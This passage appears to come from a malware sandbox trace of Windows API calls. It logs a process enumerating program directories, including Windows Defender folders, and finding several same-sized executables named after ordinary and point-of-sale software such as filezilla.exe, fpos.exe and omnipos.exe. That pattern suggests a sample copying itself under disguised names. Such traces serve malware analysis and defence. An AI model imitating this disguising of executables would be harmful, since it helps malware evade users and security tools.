returned 1 [0253.457] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0253.561] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.561] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0253.563] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.563] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0253.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.566] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0253.568] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.568] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0253.570] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.570] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0253.572] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.572] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0253.574] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.574] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0253.576] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.576] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0253.578] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.578] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0253.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.602] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0253.607] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.607] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0253.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.610] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0253.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.614] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0253.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.617] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0253.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0253.621] FindNextFileW (in: hFindFile=0x6cfdc8, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0253.621] FindClose (in: hFindFile=0x6cfdc8 | out: hFindFile=0x6cfdc8) returned 1 [0253.621] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0253.621] FindNextFileW (in: hFindFile=0x6cfd48, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0253.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0253.624] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x396f308 | out: lpFindFileData=0x396f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0253.624] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0253.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0253.624] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0253.624] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0253.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.624] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25b35600, ftCreationTime.dwHighDateTime=0x1d5c9f8, ftLastAccessTime.dwLowDateTime=0xeadd0a80, ftLastAccessTime.dwHighDateTime=0x1d5887a, ftLastWriteTime.dwLowDateTime=0xeadd0a80, ftLastWriteTime.dwHighDateTime=0x1d5887a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0253.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.632] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0253.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0253.633] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea21717b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea21717b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0253.638] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.638] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0253.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0253.640] FindNextFileW (in: hFindFile=0x6cff88, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0253.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0253.641] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xea2afaf4, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea2afaf4, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0254.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0254.573] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96925b90, ftCreationTime.dwHighDateTime=0x1d5d813, ftLastAccessTime.dwLowDateTime=0xa5f1db40, ftLastAccessTime.dwHighDateTime=0x1d564ca, ftLastWriteTime.dwLowDateTime=0xa5f1db40, ftLastWriteTime.dwHighDateTime=0x1d564ca, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="icq.exe", cAlternateFileName="")) returned 1 [0254.573] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0254.575] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xea23d222, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea23d222, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0255.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.125] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bcf7830, ftCreationTime.dwHighDateTime=0x1d59b50, ftLastAccessTime.dwLowDateTime=0xfe41bb90, ftLastAccessTime.dwHighDateTime=0x1d58f3f, ftLastWriteTime.dwLowDateTime=0xfe41bb90, ftLastWriteTime.dwHighDateTime=0x1d58f3f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0255.126] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.126] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xea28a814, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xea28a814, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0255.128] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.128] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9125145, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Icons", cAlternateFileName="")) returned 1 [0255.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.129] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9182d5a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0255.131] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa40fd93f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc4f45c00, ftLastWriteTime.dwHighDateTime=0x1d29fa3, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0255.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10e8360, ftCreationTime.dwHighDateTime=0x1d59c27, ftLastAccessTime.dwLowDateTime=0x7dd1ffe0, ftLastAccessTime.dwHighDateTime=0x1d5a139, ftLastWriteTime.dwLowDateTime=0x7dd1ffe0, ftLastWriteTime.dwHighDateTime=0x1d5a139, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="omnipos.exe", cAlternateFileName="")) returned 1 [0255.137] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.137] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa91c754d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0255.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.138] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f0da9a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb49bb00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0xffffa1ab, dwReserved1=0x1ae, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0255.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.139] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa91c7efb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0255.139] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0255.139] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xed7b3e97, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xed7b3e97, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0255.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0255.142] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x396f584 | out: lpFindFileData=0x396f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cb7852, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbe78b154, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x47cb7852, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x448600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0255.142] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0255.142] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5482b850, ftCreationTime.dwHighDateTime=0x1d580fa, ftLastAccessTime.dwLowDateTime=0xf18e54f0, ftLastAccessTime.dwHighDateTime=0x1d59a91, ftLastWriteTime.dwLowDateTime=0xf18e54f0, ftLastWriteTime.dwHighDateTime=0x1d59a91, nFileSizeHigh=0x0, 